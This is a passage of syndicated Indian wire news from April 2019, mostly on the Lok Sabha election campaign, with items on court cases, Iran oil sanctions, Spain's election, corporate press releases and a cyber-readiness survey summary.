of Dr BR Ambedkar into reality," he said. Taking a dig at Prime Minister Narendra Modi without naming him, the SP president said: "The same Ganga Maiyaa, which they swore by and went to Banaras, has not been cleaned yet. They even cheated Ganga Maiyaa. They even divided gods in the name of caste." Twenty-six seats of the state went to polls in first three phases on April 11, 18 and 23. The rest 54 seats will go to polls in four phases from April 29 to May 19. The results will be announced on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Actor-turned-politician Prakash Raj, who is contesting from Bengaluru Central constituency as an independent candidate, on Friday hit out at the ruling BJP government by posting a video of its candidate Ranjeeta Koli who is contesting from Bharatpur Lok Sabha seat. In the video, Koli was apparently unable to reply to a question by a news reporter who asked her on the development she would like to bring in her constituency after winning the elections. The South actor took a dig at the BJP for fielding candidates like her who have no knowledge of issues. Raj wrote in his Twitter handle: "With her extraordinary understanding of the issues and her visionary solutions will not only uplift the country but with her wisdom will also elect the chowkidar of India." . (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prasanna Kumar Rao, Managing Director, Heidelberg Prominent Fluid Controls India Pvt. Ltd., received the Corporate Excellence award in the Manufacturing Industry, from Enterprise Asia of Malaysia for the year 2019, in a grand event which was conducted at Andaz, Hyatt Hotel, New Delhi. "I am honoured to receive this prestigious award in recognition of our excellent products, services and contribution to the growth of this critical industry in India. It is a sign of the fact that top-notch products made in India are finding acceptance in leading international markets. Our team is responsible for the highest standards of quality, reliability and service", said Prasanna Kumar Rao. The prestigious Asia Pacific Entrepreneurship Award (APEA) from Enterprise Asia is a regional award recognition programme recognizing entrepreneurial excellence. The APEA bands together leading entrepreneurs and organizations across Asia to spur greater innovation, fair practices and growth in entrepreneurship, to create a favourable ecosystem and to power Asia to sustain economic and social growth. The awards are presented to top entrepreneurs, across the region each year and ceremonies are held in over 14 countries. The recipients of APEA are like none other: they have to prove their skills and experience in one of the toughest contests in the world. They pledge to uphold the highest standards of entrepreneurship including 'investment in people' and 'responsible entrepreneurship'. Prasanna Kumar Rao is an alumnus of the National Institute of Technology, Surathkal and a pioneer in the field of Dosing Pumps, Controllers and Chlorine di Oxide generators in India. He was instrumental in launching international quality "Prominent" products in India and is currently the Managing Director at Heidelberg Prominent Fluid Controls India Pvt. Ltd. Bengaluru. Heidelberg Prominent Fluid Controls (I) Pvt. Ltd. is a subsidiary of Prominent GmbH, Germany, a global leader in the field of Dosing Pumps, Controllers and other crucial products and services related to mechanical, chemical and process industries. Under Prasanna Kumar Rao's leadership, the company, firstly as a joint venture and later as a fully-owned subsidiary, established itself and grew to stellar success. Products of top quality, made in India, are exported to leading European, North American and Asia-Pacific markets: international quality at affordable prices. The biggest exports from Heidelberg ProMinent Fluid Controls India Pvt. Ltd., are to China reversing the trend of Indian companies buying from China. Truly, an honour well deserved. This story is provided by BusinessWire India. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Rahul Gandhi on Friday hit out at Prime Minister Narendra Modi alleging that the "56-inch watchman" failed to use the historic opportunity bestowed on him after the 2014 Lok Sabha elections to uphold the promise of providing employment. "Prime Minister had a historic opportunity. He was supposed to work for the youth as without them the progress of the country is not possible. It is very important to give employment to the youth. But the 56-inch chest watchman failed to keep his promise of providing 20 million jobs," Rahul Gandhi said in an election rally here. "The youth of the country is ready to face the challenges. They all are capable of competing against China they believe in Made in India concept. But, the Modi government is not cooperating with them. Therefore, we have decided that youth would not be required to take any permission for at least three years to start their business," he said. Claiming that people are fed up of fake promises of PM Modi and now calling their chowkidar (watchman) a chor, Rahul said: "Every election has its own importance, but the 2019 Lok Sabha elections have a special significance. In 2014, Modi ji was blessed with the absolute majority so that he could fulfil all the promises. As he failed, the slogan of "chowkidar chor hai" (watchman is a thief) is now being spread across the country." He also claimed that Prime Minister helped Anil Ambani, Nirav Modi and Mehul Choksi with crore of Rupees. "If a poor person takes a loan from a bank and fails to pay it back with interest then he is put behind bars but Mehul Choksi, Anil Ambani, Vijay Mallya and Nirav Modi are roaming around freely. PM Modi waived off loans of wealthy people but what about poor farmers?" Gandhi scion asked. Rahul also took the opportunity to talk about the Nyunatam Aay Yojana (NYAY) scheme promised by his party in its manifesto for the ensuing Lok Sabha polls. "We are not making fake promises, we will provide Rs 72,000 per year to poor families," he said. Continuing his tirade against PM Modi for implementing GST and demonetisation, Rahul said: "Gabbar Singh Tax and demonetisation have deteriorated the economy of this country and middle-class families and poor have been affected the most. Several factories have been shut down due to less demand for the products in the market." "I cannot give you Rs 15 lakh to your account. But we will send Rs 3 lakh 60 thousand will be sent to the accounts of 25 crore people. This is to give PM Modi a message if you will help five rich people, we will help common people," he said. Promising farmers better Minimum Support Price (MSP) and facilities, Rahul said: "Soon after coming into power, Congress will make a separate budget for farmers and we will tell the farmers beforehand what we can do for them." Polling for 17 Lok Sabha seats in Maharashtra will be held on April 29. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dhingana (Rajasthan) [India], Apr 26 (ANI): Surrounded by the Thar Desert in Rajasthan, villagers of Dhingana in Pali district of Rajasthan have decided to boycott the Lok Sabha polls as the villagers claim to have cheated and neglected by the government in the name of development. Scarcity of water, poor condition of roads and no school for girls in the village are among the major issues contributing to the villagers' decision to abstain from voting. "Boycotting elections was the last resort for us. The local administration has done nothing to solve the water crisis, issue of roads and schools. What is the use of selecting a government who doesn't solve our problem?" villagers said while speaking to ANI. Drying up of lakes and thirsty cattle straying far and wide to post for water is a common sight in the area. [{5f67bb1a-b9ff-44b9-9928-ff5b31da708e:intradmin/Village.jpg}] Describing the poor condition of the village, a resident Baldev Chaudhary said: "All drains have dried up due to the scarcity of rains. We are hardly left with any source of water to feed our cattle. They have to go thirsty for days and their survival is becoming very difficult." "Administration does not hear our plea. We will boycott the election as we do not get basic facilities. Providing water tankers just before the election is not the solution. We want a permanent solution, which we have been demanding for last 3 years," he asserted. Sohan Lal Panwar, a local Right to Information Act (RTI) activist, said: "The local administration gave a short term solution by providing water tankers for two months. Not only humans but also cattle get affected by the scarcity of water. By repeated pleas in front of the administration, we have decided by consensus that we will boycott the ongoing Lok Sabha election." "Even after learning about our protest and the decision to boycott elections, no person has addressed our grievances," he said. [{fa89f65e-9d2e-4ece-959d-daadd5bc300a:intradmin/Village_3.jpg}] Underlying the need for proper infrastructure, Bhelaram Jaat said: "The conditions of roads is pathetic. We are unable to travel to far places. Nobody pays heed to our problems." "Problem has persisted for last three to four years and no action has been taken by the authorities. Even after a foundation stone was placed in 2008 for a school, the land continues to remain barren. There is no secondary school in the area," he added. All 25 parliamentary Lok Sabha constituencies in Rajasthan would go to polls in two phases -- April 29 and May 6. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A Delhi court on Friday sent Apoorva Tiwari, wife of late Congress leader ND Tiwari's son Rohit Shekhar Tiwari, to judicial custody for 14 days. Apoorva was granted judicial custody by Delhi's Saket Court in connection with the murder of her husband recently. Through her lawyer, Apoorva asked for a separate cell, citing threat to her life. The lawyer also said she is educated and should be kept with literate women. She also asked for spectacles and earrings to be allowed inside the jail. The court, while granting permission for spectacles to be kept in jail, said that Apoorva will be allotted a cell as per the jail manual. Delhi Police Crime Branch told the court that investigation is underway, adding that at this stage, they don't need Apoorva's questioning. Rohit slept during the night of April 15 and was found mysteriously dead at 4 pm the next day. The Delhi Police, after over a week of investigation, arrested Apoorva on April 24. Officials of the Crime Branch said that Apoorva strangulated her husband as she was unhappy with her marriage. "She was unhappy with the marriage. Apoorva smothered him while Rohit was drunk. She committed the crime herself without any help," officials of the Delhi Police Crime Branch said on Wednesday after she was arrested. A case of murder (Section 302 of the Indian Penal Code) was registered after the post mortem examination report revealed that Rohit died an "unnatural death" due to "strangulation and smothering. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) South Korea said on Friday that it will seek alternate sources of crude oil imports in order to minimize the impact of sanctions imposed by the United States on Iran, reported Yonhap News Agency. The move comes after US Secretary of State Mike Pompeo announced recently that no fresh sanctions waiver will be issued for Iranian oil imports to South Korea, China, India and five other countries. The waivers are set to come to an end on May 2. Earlier this week, South Korean officials, including Deputy Foreign Minister for Economic Affairs, Yun Kang-hyeon, visited Washington for talks on the issue. It is pertinent to mention that India on Tuesday said that it is adequately prepared to deal with the impact of the US decision. "Government has noted the announcement by the US Government to discontinue the Significant Reduction Exemption to all purchasers of crude oil from Iran. We are adequately prepared to deal with the impact of this decision," said Ministry of External Affairs (MEA) spokesperson Raveesh Kumar. In November last year, the US had issued 180-day waivers to eight countries - including India - to give them more time to find alternative sources of oil. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Supreme Court on Friday adjourned for four weeks, hearing in a plea seeking direction to the Centre and others for enhancement of compensation and other rehabilitation steps for acid attack victims. A three-judge bench of the Apex court, headed by Chief Justice of India (CJI) Ranjan Gogoi adjourned the plea filed by advocate Anuja Kapur for four weeks. During the previous hearing on February 15, the top court bench issued a notice to the Centre and all states seeking their response over the plea filed by Kapur seeking direction for increase of remuneration and immediate jobs, relief, medical infrastructure and other rehabilitation measures to acid attack victims. The apex court in its 2015 judgment had given a direction to the states to consider acid attack victims in the disabled category for jobs. According to the Crime Records Bureau (NCRB), there were 200 cases of acid attacks on women in 2016 alone, but NGOs have pegged it around 500-1000 across the country. The NALSA scheme for the victims, which is binding on the states, mandates Rs 7 lakh compensation in case of disfigurement in acid attack. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WRM - Airborne Geophysics Survey Commences at Red Mountain Ballarat, April 26, 2019 AEST (ABN Newswire) - Diversified explorer and near-stage producer, White Rock Minerals Ltd ( ASX:WRM ), in conjunction with its joint venture partner Sandfire Resources NL ( ASX:SFR ) (Sandfire) is pleased to announce the commencement of a comprehensive airborne electromagnetic (EM) geophysical survey being flown at the Company's globally significant Red Mountain high-grade zinc and precious metals VMS project in central Alaska.Highlights- White Rock's comprehensive exploration program for 2019 has started with the commencement of an airborne electromagnetic geophysical survey,- Exciting application of this modern technology,- This programme is the next step in identifying key drill targets after a successful drilling campaign in 2018 which included intersections1 of 4.7m @ 19.5% zinc, 7.8% lead, 466g/t silver, 6.9g/t gold and 1.5% Cu and 4.3m @ 4.8% zinc, 2.3% lead, 1,435g/t silver, 2.2g/t gold and 0.5% Cu.White Rock's Managing Director, Matthew Gill said that the airborne EM survey, which commenced flying over the Easter weekend, is an exciting step forward for the project and signifies the start of the summer field season in Alaska."This is the first time that a modern technology time-domain airborne EM survey has been used at Red Mountain to explore for massive sulphide mineralisation (Figure 1 in link below). The previous survey done by the Alaskan government in the mid 2000's used shallow looking frequency domain technology to map the surface geology," he said."We are really pleased to be using a modern, high-powered technique over our 475km2 strategic belt-scale regional tenement package2 as the first step in our comprehensive exploration program for 2019 (Figure 2)."Mr Gill said that the 3,000 line kilometre SkyTEM airborne electromagnetic (AEM) survey is capable of identifying conductivity anomalies to depths of 300 metres below the surface that could fast-track a significant new discovery.This exploration season will be the first in the joint venture relationship between White Rock and Sandfire, with Sandfire having recently signed an earn-in and joint venture agreement to work with White Rock on it's exciting Alaskan prospect3. Sandfire's first year commitment under this JVA is to spend a minimum of A$6M on the project, and a further minimum of A$14M over the following three years."Having the technical and financial support of Sandfire Resources - a very successful explorer and developer of VMS deposits - is a strong endorsement to the quality and potential of our Red Mountain Project," said Mr Gill."The regional targets identified by this EM survey will form a key part of our comprehensive exploration program this field season. Other activities this season will involve using satellite spectral analysis, and on-ground geological reconnaissance and soil sampling. These activities will compliment planned electrical ground geophysics (CSAMT and MT) and a diamond drill program to follow-up the successful discovery at the Hunter prospect in 20184 and to test the best of the regional targets defined by this cutting edge multidisciplinary use of airborne EM, stream geochemical anomalies, new satellite defined alteration, whole rock lithogeochemical alteration, on-ground soil and rock geochemistry and on-ground electrical geophysics," said Mr Gill.To view tables and figures, please visit:About White Rock Minerals Ltd White Rock Minerals Ltd (ASX:WRM) (OTCMKTS:WRMCF) is a diversified explorer and near-stage producer, headquartered in Ballarat, Victoria. The Company's flagship exploration project is Red Mountain in central Alaska. At Red Mountain, there are already two high grade zinc - silver - gold - lead VMS deposits, with an Inferred Mineral Resource of 9.1 million tonnes @ 609g/t AgEq / 13% ZnEq. The Company is also exploring its recently discovered large intrusion related gold anomaly at Last Chance, also located in the Tintina gold belt of Alaska, home to multi-million gold ounce deposits like Pogo, Fort Knox and the Donlin Project. The Company also has the Mt Carrington project, located near Drake, in Northern NSW, which is a near-production precious metals asset with a resource of 341,000 ounces of gold and 23.2 million ounces of silver on an approved mining lease, and with a Gold First PFS and JORC Reserve. The Supreme Court on Friday granted the last opportunity to the Reserve Bank of India to comply with its order to disclose inspection reports of banks under the Right to Information Act (RTI). A division bench comprising Justices L Nageswara Rao and Justice MR Shah warned the central bank that any further violation of the apex court's 2015 verdict would result in serious contempt of court proceedings against it. Taking a serious view of the RBI's failure to disclose the information, the court said that the central bank is duty bound to comply with the directive unless exempted. The court also asked the RBI to withdraw its non-disclosure policy, saying it violated the apex court's judgment. In its December 16, 2015 verdict in RBI vs Jayantilal N Mistry and others case, the Supreme Court had held that the central bank is bound to disclose information under the Right to Information (RTI) Act. Petitioners Girish Mittal and Subhash Chandra Agrawal had alleged that the RBI and its former governor Urjit Patel had "willfully and deliberately" disobeyed the apex court's order. They had sought initiation of contempt of court action against the former Governor for non-disclosure of information. Mittal had said that the RBI refused to provide inspection reports of ICICI Bank, Axis Bank, HDFC Bank and the State Bank of India from April 2011 till December 2015. The petitioner had also asked for copies of file notings on "various irregularities" detected by the RBI in case of Sahara Group of companies and erstwhile Bank of Rajasthan and their known/unknown promoters. However, the central bank denied the information in January 2016, saying that these pieces of information were exempted under Section 8(1)(e) of the RTI Act and Section 45NB of the Reserve Bank of India Act, according to petitioners. Mittal and Agrawal had contended that the apex court in 2016 while directing disclosure of a very similar type of information sought under the RTI Act observed that the RBI is clearly not in any fiduciary relationship with any bank. In the contempt pleas, the petitioners had stated that the responses of the central bank were in complete violation of the apex court judgment by which it was held that the RBI ought to act with transparency and not hide information that might embarrass individual banks. The RBI was duty bound to comply with the provisions of the RTI Act and disclose the information sought, they had said, citing the court verdict. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi on Friday filed nomination to fight the Lok Sabha polls from Varanasi- the parliamentary constituency from where he won the 2014 general elections. Varanasi, earlier known as Banaras, will vote in the last phase of the seven-phase Lok Sabha elections on May 19. Almost all prominent leaders of the BJP, as well as members of the Democratic Alliance (NDA) and North-East Democratic Alliance (NEDA), accompanied Modi. BJP president Amit Shah, Union Ministers-Nitin Gadkari, Rajnath Singh and Sushma Swaraj, Uttar Pradesh Chief Minister Yogi Adityanath, Tamil Nadu Deputy Chief Minister O. Panneerselvam, Bihar Chief Minister Nitish Kumar, Shiv Sena chief Uddhav Thackeray, Lok Sabha Deputy Speaker and AIADMK leader Thambidurai, SAD chief Parkash Singh Badal, Lok Janshakti Party president Ram Vilas Pawan and other top leaders extended their support to Modi as he filed his nomination papers. Modi is seeking a second term in office from Varanasi, a parliamentary seat he won in 2014, defeating Aam Aadmi Party (AAP) convenor and Delhi Chief Minister Arvind Kejriwal by a massive margin of 3.37 lakh votes. Modi stormed to power in 2014 general elections with BJP winning 282 of the Lok Sabha's 543 constituencies. The BJP won an absolute majority in 2014, reducing the then-ruling Congress to a miserly 44 seats. During the 2014 general elections, Modi had contested and won from Vadodara in Gujarat as well as from Varanasi but retained the latter after trouncing Aam Aadmi Party convenor Arvind Kejriwal with a massive margin of 3.37 lakh votes. A day before filing nomination Modi on Thursday held a roadshow and performed Ganga aarti in Varanasi. The Prime Minister began the mega roadshow after paying tributes to Pt Madan Mohan Malviya's statue outside Banaras Hindu University. The rally, spanning over six kilometres, passed through Lanka and Madanpura areas of the city and came to an end at the famed Dashashwamedh Ghat. Immersed in devotion, Modi listened to hymns performed on the bank of river Ganga and later performed Aarti at the ghat of the holy river. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The people of the country are curious about Nyuntam Aay Yojana (NYAY), said Congress leader Shatrughan Sinha here on Friday, while expressing hope that the scheme will be implemented if his party is voted to power in the Lok Sabha elections. Sinha, who joined the Congress after the BJP denied ticket to him to contest the poll from Patna Sahib constituency in Bihar, said: "It is fine when they (BJP) do something. If our leaders come up with some ideas, they are not able to digest these." "The Congress government has waived the loan of farmers in Madhya Pradesh, Rajasthan, and Chhattisgarh. People are curious about NYAY scheme now," he said while campaigning for Chief Minister Kamal Nath's son Nakul Nath, who is contesting the election from here this time. "Our one-man show and two men army say that it is not possible and NYAY can never be implemented. The Congress party is making promises which are in the interest of people and nation," said Sinha, who served as a minister in Atal Bihar Vajpayee led NDA government at the Centre. Under the NYAY scheme, the Congress party has promised to give Rs 72,000 annually to the poorest among the poor. Chief Minister Nath, while speaking at the rally, said: "I have the responsibility of the state. Now, I have given the responsibility of Chhindwara to my son Nakul. I believe people will vote for him. He will work for you." "If Nakul does not work for you, you can take him to the task. You should tear his clothes too," said Chief Minister Nath. Madhya Pradesh has 29 Lok Sabha seats at stake out of which six will go to polls on April 29, the fourth phase of seven-phased Lok Sabha elections. The rest of the seats will go to polls during the last three phases. The counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Spain is all set to vote on Sunday, April 28, for the 2019 general elections - the third to be held in the last four years. Voting for the 350-seat parliament is being held in the backdrop of tensions over Catalonia, following the failed bid for Catalan independence in 2017. Spanish Prime Minister Pedro Sanchez was forced to announce the snap polls in February this year after his 2019 budget proposals were rejected across political lines, including by pro-independence Catalan parties whose support kept Sanchez's government afloat.The major parties which will be contesting the elections for the 350-seat parliament are the Spanish Socialist Workers' Party (PSOE), the conservative People's Party (PP), left-wing populist Podemos, centrist-populist Ciudadanos (or Citizens) and far-right Vox party, according to Al Jazeera. Incumbent Prime Minister and PSOE leader Pedro Sanchez will be seeking re-election during Sunday's elections. The elections will be held for the third time in four years. Sanchez has led the country for less than a year, after coming into power in 2018 following a vote of no-confidence against the previous regime. While it is unlikely that any one party will be able to win enough seats to declare a majority, opinion polls indicate that Sanchez's party is projected to win 129 seats, while PP may secure around 78. Citizens may land 46 seats, while Podemos and Vox are projected to win 35 and 30 seats each, respectively. There is a probability of the formation of two blocs following the declaration of the results. PSOE, Podemos and regional nationalists is the first potential coalition while the second probable bloc is made up of PP, Ciudadanos, Vox. The major division between the two potential blocs is their differing stance on the Catalan issue. If no working majority is formed, another round of general elections will be held in the European country. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Senior Congress leader Ahmed Patel on Friday asked the Centre why they had not issued a travel advisory to Indians travelling to Sri Lanka if they had prior information about an impending terror threat. "It appears from media reports that India has sent multiple advance warnings of impending terror attack to the Sri Lankan government. If so then why no travel advisory was issued for Indian citizens travelling to Sri Lanka prior to the attacks? Precious lives could have been saved," he tweeted. On April 21, eight explosions rattled Sri Lankan cities of Colombo, Negombo, Kochchikede and Batticaloa as the Christian community celebrated Easter Sunday. Over 250 people were killed and over 500 others were injured in the serial blasts. After terror attacks, Sri Lanka authorities announced that 10 Indians died in the attack. Former Union minister Bandaru Dattatreya visited the family of Vemuri Tulsiram, one of the Indians who lost their lives in the blast, in Hyderabad. "Everyone knows terrorism is the biggest problem for mankind. Whenever Prime Minister Narendra Modi visits foreign countries he talks about eliminating terrorism. In India, everyone has to work together to eliminate terrorism from the country," he said after meeting the family. The BJP leader also said Chief Minister K Chandrashekhar Rao should have a Special Task Force (STF) team constituted to curb Islamic terrorist activities in Telangana. "Hyderabad became safe haven for Islamic terrorist activities and a large number of people from Hyderabad, Nalgonda and Ranga Reddy districts are recruited by terrorist organisations. So we demand that the TRS government forms a special task force under the Director General of Police (DGP) to investigate these activities and make sure no such terrorist activities happen in India," he said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) This Lok Sabha election is about removing 'Chowkidar' and 'Thokidar' and ensure that a big change takes place in the country, said former Chief Minister and SP president Akhilesh Yadav here on Friday. "Whatever we had given to the public, this government has taken away from them. Baba Chief Minister cannot use laptop himself. What will he give to the youth? This election is not just removing 'Chowkidar' but 'Thokidar' as well," he said. The opposition parties use the term 'Chowkidar' (watchman) for Prime Minister Narendra Modi, to highlight alleged corruption in the high profile Rafale fighter plane deal. The term 'Thokidar' is used by the opposition parties in Uttar Pradesh to highlight the alleged fake encounters, which have taken place ever since the BJP came to power in the state. Responding to the ruling party's 'Mahamilavati' jibe at SP-BSP alliance, Yadav said: "We are not 'Mahamilavati.' We are going to make 'Mahaparivartan' (a big change). BJP is saying that they will create a new India. I say that new India will be there with a new Prime Minister." Attacking Prime Minister Modi, Yadav said: "He first came to us as ' Chaiwala.' After five years, we got to know whether the tea is good or not. Now, he comes to us as Chowkidar. How will you trust him? When his tea became bad, then he as Chowkidar is not good as well." Backing the claim of BSP chief Mayawati that Prime Minister Modi does not hail from the backward class by birth, Yadav said: "The Prime Minister is backward in the document. He is not backward by birth." Yadav also hit out at Chief Minister Yogi Adityanath over the problem of stray animals in the state. "In Hardoi, when Yogi Adityanath's helicopter landed, a bull came to meet him. The bull was angry. It had come to tell him its problem. But he did not listen to its problem. On Thursday, a bull came to Kannauj. Our police tried to stop it but in vain," he said. "However, when we told the bull that it came on to the wrong helipad, then it ran away quietly. Shelter and food will be arranged for the stray animals as soon as our government is formed at the Centre," said Yadav. Twenty-six seats of the state went to polls in first three phases on April 11, 18 and 23. The rest 54 seats will go to polls in four phases from April 29 to May 19. The results will be announced on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US President Donald Trump and Japan's Prime Minister Shinzo Abe are expected to discuss issues including North Korea during their summit at the White House here on Friday (local time). A White House official told NHK that the summit will be an important opportunity for the two countries to coordinate future actions, including consultations with South Korea and North Korea's complete denuclearisation. The meeting comes a day after the maiden summit between North Korean leader Kim Jong-un and Russian President Vladimir Putin in Vladivostok on Thursday. US Ambassador to Japan, William Hagerty, told reporters that Abe and Trump may also discuss the issue of Japanese nationals who have been allegedly abducted by North Korea. The two sides recently opened talks aimed at signing a new trade deal, in the run-up to the Trump-Abe meeting in Washington. This comes after Trump pulled the United States from the Trans-Pacific Partnership, a 12-nation pact that Abe had negotiated with former US President Barack Obama. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) US President Donald Trump on Thursday (local time) resorted to criticising a hand full of Democratic candidates who have announced their intent to run for the 2020 Presidential elections. He referred to former Vice President and 2020 Democratic Presidential hopeful Joe Biden as "Sleepy Joe" while dismissing former State Representative Beto O'Rourke's candidacy as a "fluke," during his appearance on Sean Hannity's show on Fox News. Multiple Democrats have announced their intent to run for the upcoming Presidential elections, presenting the most diverse pool of candidates to seek a nomination from the party. Former Vice President Biden and senior Democratic leader Bernie Sanders are being projected as tough competition for Trump by most US media outlets. Hannity asked Trump to respond to the names of a few Democratic candidates with a couple of words that came to his mind during his segment. Speaking of Democratic Senator Kamala Harris, Trump told Hannity that "she's got a little bit of a nasty wit, but that might be it." Trump also spoke of Sanders, opining that while the Democratic leader has "a lot of energy," it is all "misguided." "But he's got misguided energy, and he's done very poorly in terms of the Senate," Trump said, according to The Hill. Hannity also asked Trump to comment on South Bend Mayor Pete Buttigieg, to which Trump said: "And Mayor Pete is not going to make it...I'm rooting for him, but he's not going to make it." The US President has time and again expressed confidence in his abilities to defeat any candidate that the Democrats eventually nominate for the 2020 Presidential elections. Trump came into power following the 2016 Presidential elections, defeating former Secretary of State and Democratic candidate Hillary Clinton. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Mount Litera School International, one of Mumbai's leading IB World School has released an energetic rap song composed by their students urging all adults to vote this Election Day. The song has been set to foot tapping beats where students from grade 8 and 9 rap about the importance of voting as electing the right government would drastically help India's growth and development. The students collaborated and discussed an idea of contributing meaningfully to the general election and in consultation with their teachers decided to compose a rap song. Their aim was to create awareness amongst the people of Mumbai to vote in large numbers since they themselves are too young to do so. The choice to use rap as a medium was to ensure they appeal to majority of people urging them to vote responsibly. The lyrics have been composed in collaboration with their music teachers and the school has released the same across all its social media platforms. "At Mount Litera School International, we teach the IB Middle Years Programme, and humanities is one of the eight compulsory subjects. This programme has an interdisciplinary approach, and in this rap song, you see an integration of language, humanities and music. Our children have delved deeper into understanding how a democracy functions in the classroom and put their learning to music", said Vishnu Sharma, Head of Secondary, Mount Litera School International. "For composing the rap, they conducted research to understand the issues our country is currently facing and why every eligible adult should cast their valuable vote for a better tomorrow. Since the children cannot vote, their aim of this exercise is to create awareness among the people of Mumbai to go and vote on 29th April", he added. This story is provided by NewsVoir. ANI will not be responsible in any way for the content of this article. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Congress president Rahul Gandhi on Friday said that his party will conduct a surgical strike on poverty in India after winning the ongoing elections. "In the next 5 years there will be a surgical strike on poverty and NYAY scheme will be our weapon. It will be unlike what Prime Minister Modi has done in the country, in his five-year rule it has used Gabbar Singh Tax (GST) and demonetisation to attack the poor," said Gandhi while addressing a public meeting in Samastipur. He was joined by Rashtriya Janata Dal (RJD) leader Tejashwi Yadav. The Congress chief also attacked the Modi government for targeting RJD chief Lalu Yadav and his family. "Modiji should remember the crimes he is committing against Laluji, he did not let even Tejashwi Yadav meet his father while he was in the hospital, the people of Bihar will never forget this, they will never forgive you for this," he said. Rahul's election rally started late after the aircraft carrying him from Delhi to Patna airport developed a problem in its engine, forcing him to return to Delhi and take another flight. Elections in Bihar were held in the three phases and will continue to be held on April 29, May 6,12 and 19 in the four remaining phases of the Lok Sabha elections. The counting of votes will begin on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Hiscox Cyber Readiness Report 2019 surveyed a representative sample of private and public sector organisations in the US, UK, Belgium, France, Germany, Spain and the Netherlands. Each firm was assessed on its cyber security strategy and execution, and ranked accordingly. Only 10% achieved high enough marks in both areas to qualify as cyber security experts. Among the key findings: Cyber-attacks reach a new intensity: More than three in every five firms (61%) experienced a cyber incident in the past year, up from 45% in the 2018 report. The frequency of attacks also increased. Belgian firms were the most heavily targeted. Cyber losses soar: Among firms reporting attacks, average losses associated with all cyber incidents have risen from 180,000 last year to 291,000 an increase of 61%. For large firms with between 250 and 999 employees cyber-related losses now top 551,000 on average compared with 128,000 a year ago. German firms suffered the most, with one reporting a cost for all incidents of 38 million. More firms fail cyber readiness test: Using a quantitative model to assess firms for their cyber readiness, only one in ten (10%) achieved expert status this year, slightly down from 11% in 2018. Nearly three-quarters (74%) ranked as unprepared novices. There was a sharp drop in the number of larger US and German firms achieving expert scores. Gareth Wharton, Hiscox Cyber CEO, commented: This is the third Hiscox Cyber Readiness Report and, for the first time, a significant majority of firms report one or more cyber attacks in the past 12 months. Where hackers formerly focused on larger companies, small and medium-sized firms now look equally vulnerable. The cyber threat has become the unavoidable cost of doing business today. The one positive is that we see more firms taking a structured approach to the problem, with a defined role for managing cyber strategy and an increased readiness to transfer the risk to an insurer by way of a standalone cyber insurance policy. The study also shows: Wide disparity in readiness scores: Overall, US, German and Belgian firms score highest on the cyber readiness model, while more than four-fifths of French firms (81%) are in the novice category. Along with the Netherlands, France has the smallest proportion of large and enterprise firms that rank as experts, at 9%. Supply chain incidents now commonplace: Nearly two-thirds of firms (65%) have experienced cyber-related issues in their supply chain in the past year. Worst affected are technology, media and telecoms (TMT) and transport firms. The majority of firms (54%) now evaluate the security of their supply chains at least once a quarter or on an ad hoc basis. Reasons to be optimistic: The proportion of firms with no defined role for cyber security has halved in the past year from 32% to 16% - and there has been a marked fall in the number of respondents saying they changed nothing following a cyber incident (from 47% to 32%). New regulation has also prompted action, with 84% of Continental European firms saying they have made changes following the advent of the General Data Protection Regulation (GDPR). The figure for UK firms is 80%. Rising uptake of cyber insurance: More than two out of five firms (41%) say they have taken out cyber cover in the past year (up from 33% in 2018). A further 30% plan to take out cover in the year ahead. More than half of larger firms now have cover but only 27% of small firms. Here is a full copy of The Hiscox Cyber Readiness Report 2019 Karnataka BJP chief BS Yeddyurappa on Friday wrote a letter to the Chief Election Commissioner (CEC) over alleged "relaxation" of the Model Code of Conduct in the state, saying any such move will have ramifications on polls in other states. The BJP leader said the state government went on record on Wednesday claiming that the CEC has relaxed the poll code and permitted it to take up developmental works which include projects related to infrastructure, purchases, and services. "The state government even claimed that the CEC has given permission to float and finalise tenders on this score," Yeddyurappa said. He sought withdrawal of any permission given to the state government to undertake developmental works. "Even if it is assumed that elections in Karnataka are over, the decisions of the state government on various projects will have their ramifications in other states where elections are under progress," the former Karnataka chief minister said. In his letter to the CEC, Yeddyurappa said, "...In this transition period when the general elections are under progress, the decisions taken by the state government will amount to violation of the Model Code of Conduct..." Karnataka has 28 Lok Sabha seats. Polling for 14 seats each was held on April 18 and April 23 in the second and third phases of the general elections. Counting of votes will take place on May 23. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Bharat Petroleum Corporation Ltd is quoting at Rs 371.5, up 3.7% on the day as on 12:49 IST on the NSE. The stock is down 4.78% in last one year as compared to a 9.3% jump in NIFTY and a 17.01% jump in the Nifty Energy index. Bharat Petroleum Corporation Ltd is up for a third straight session today. The stock is quoting at Rs 371.5, up 3.7% on the day as on 12:49 IST on the NSE. The benchmark NIFTY is up around 0.38% on the day, quoting at 11686.5. The Sensex is at 38866.93, up 0.35%. Bharat Petroleum Corporation Ltd has slipped around 1.97% in last one month. Meanwhile, Nifty Energy index of which Bharat Petroleum Corporation Ltd is a constituent, has slipped around 0.53% in last one month and is currently quoting at 16243.55, up 1.07% on the day. The volume in the stock stood at 59.19 lakh shares today, compared to the daily average of 56.12 lakh shares in last one month. The benchmark May futures contract for the stock is quoting at Rs 372.75, up 3.41% on the day. Bharat Petroleum Corporation Ltd is down 4.78% in last one year as compared to a 9.3% jump in NIFTY and a 17.01% jump in the 